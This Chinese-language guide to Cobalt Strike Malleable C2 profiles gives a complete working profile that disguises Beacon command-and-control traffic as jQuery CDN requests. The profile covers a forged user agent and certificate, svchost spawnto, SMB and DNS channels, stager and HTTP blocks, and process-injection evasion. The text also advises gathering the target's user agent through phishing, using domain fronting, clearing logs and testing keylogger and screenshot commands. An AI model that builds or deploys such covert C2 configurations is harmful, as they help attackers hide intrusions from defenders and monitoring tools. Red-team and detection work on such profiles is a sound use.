深入研究cobalt strike malleable C2配置文件
字数 1623 2025-08-29 08:32:30
Cobalt Strike Malleable C2 配置文件深度解析与实战指南
1. Malleable C2 配置文件概述
Cobalt Strike 最强大的功能之一就是可以通过 Malleable C2 配置文件修改 Beacon payload 的行为。这种配置文件允许操作者:
- 修改 Beacon 的内存占用
- 更改检入频率
- 定制网络流量特征
- 模拟合法应用程序行为
2. 基础使用原则
2.1 核心建议
- 永远不要使用默认值:必须使用自定义配置文件
- 修改示例配置文件:不要直接使用公开的配置文件,因为它们可能已被安全产品签名
- 注意流量模式:即使使用配置文件,仍会产生"beaconing"网络流量模式
- 充分测试:在实际使用前必须进行彻底测试
2.2 语法规范
- 使用双引号而非单引号:
set useragent "Mozilla/5.0"; // 正确 set useragent 'Mozilla/5.0'; // 错误 - 允许使用分号:
prepend "This is an example;"; - 转义特殊字符:
append "here is \"some\" stuff"; append "more \\ stuff";
3. 配置文件结构详解
3.1 基本配置项
3.1.1 配置文件名称
set profile "jQuery C2 Profile";
- 仅用于标识,不影响实际功能
3.1.2 Sleep 时间设置
set sleeptime "60000"; // 默认检入间隔(毫秒)
set jitter "20"; // 随机抖动百分比
- 建议值:60秒+20%抖动
- 太规律的间隔容易被检测
3.1.3 用户代理(User-Agent)
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362";
- 最佳实践:从目标环境捕获真实 User-Agent
- 可通过钓鱼邮件等方式获取
3.1.4 SSL 证书配置
https-certificate {
set CN "jquery.com";
set O "jQuery Foundation";
set C "US";
set L "Boston";
set OU "Web Framework";
set ST "Massachusetts";
set validity "365";
}
- 建议使用 Let's Encrypt 等可信证书
- 对于 Domain Fronting,团队服务器需要有效 SSL 证书
3.1.5 SpawnTo 进程设置
set spawnto_x86 "%windir%\\sysnative\\svchost.exe -k localservice -p -s fdPHost";
set spawnto_x64 "%windir%\\sysnative\\svchost.exe -k localservice -p -s fdPHost";
- 选择指南:
- 使用受保护的二进制文件
- 避免触发 UAC 的二进制
- 架构匹配(x86/x64)
- 选择通常会建立网络连接的进程
3.2 通信渠道配置
3.2.1 SMB 信标
pipe {
set name "\\\\.\\pipe\\mshtml\\mswsock";
set max_instances "1";
}
- 避免使用默认管道名称
- 用于主机间点对点通信
3.2.2 DNS 信标
dns {
set beacon "cdn.jquery.com";
set max_ttl "300";
set sleep "0";
set data "A";
set sub "cdn.jquery.com";
set ttl "300";
}
- 通常用作低速备份通道
- 容易被检测但常是防御盲点
3.3 分段过程(Staging)
3.3.1 HTTP Stager
http-stager {
set uri_x86 "/jquery-3.3.1.slim.min.js";
set uri_x64 "/jquery-3.3.2.slim.min.js";
client {
header "Accept" "*/*";
header "Referer" "https://code.jquery.com/";
header "Accept-Language" "en-US,en;q=0.9";
metadata {
netbios;
prepend "var _0xae5b=[";
append "];";
parameter "v";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Server" "NetDNA-cache/2.2";
header "X-Cache" "HIT";
output {
prepend "(function(){";
append "})();";
print;
}
}
}
- 模拟 CDN 请求样式
- 可修改为其他 CDN 如 Microsoft jQuery CDN
- 考虑使用无分段(stageless)payload 以避免触发警报
3.4 HTTP 通信配置
3.4.1 HTTP-GET
http-get {
set uri "/jquery-3.3.1.min.js";
client {
header "Accept" "*/*";
header "Cookie" "__cfduid=CDA7B23B5D3F3D4A8A4A8A4A8A4A8A4A";
metadata {
base64;
header "If-None-Match";
parameter "callback";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Cache-Control" "public, max-age=14400";
header "ETag" "\"5b255987-5eef\"";
output {
prepend "jQuery(function(){";
append "});";
print;
}
}
}
- 可设置多个 URI 增加多样性
- Beacon 在分段时会被分配固定 URI
3.4.2 HTTP-POST
http-post {
set uri "/jquery-3.3.1.min.js";
set verb "POST";
client {
header "Content-Type" "application/x-www-form-urlencoded";
header "Accept" "*/*";
id {
parameter "id";
}
output {
print;
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Server" "NetDNA-cache/2.2";
output {
prepend "jQuery(function(){";
append "});";
print;
}
}
}
- 可修改为 GET-only 模式(注释 POST 部分)
- GET-only 在大数据传输时可能有问题
3.5 内存规避技术
transform-x86 {
prepend "\x90\x90\x90\x90"; // NOP sled
}
transform-x64 {
prepend "\x90\x90\x90\x90"; // NOP sled
}
process-inject {
set allocator "VirtualAllocEx";
set min_alloc "8192";
set startrwx "false";
set userwx "false";
}
- 使用 peclone 工具提取合法进程内存特征
- 参考"In-Memory Evasion"技术
4. 配置文件开发流程
4.1 选择主题
- 分析目标环境网络流量
- 选择常见、可信的应用程序进行模拟
- 示例:jQuery、CDN流量、云服务API等
4.2 创建配置文件
- 基于现有模板修改
- 参考 GitHub 上的示例
- 逐步调整各模块配置
4.3 验证与测试
4.3.1 使用 c2lint
./c2lint jquery-c2.3.11.profile
4.3.2 手动测试流程
- 启动 Wireshark 捕获流量
- 使用测试配置文件启动团队服务器
- 创建 HTTP 和 SMB 监听器
- 使用 Scripted Web Delivery 部署 Beacon
- 测试各种 Beacon 功能:
- 生成不同架构的 Beacon
- 执行常见命令(keylogger、screenshot等)
- 检查流量特征是否符合预期
5. 高级技巧与最佳实践
- 流量混合:结合 Domain Fronting 等技术
- 动态变化:使用多个 URI 和 User-Agent
- 环境适配:根据目标网络调整 sleep 时间和抖动
- 日志清理:配置清除团队服务器日志
- 备用通道:设置 DNS 或 SMB 作为备份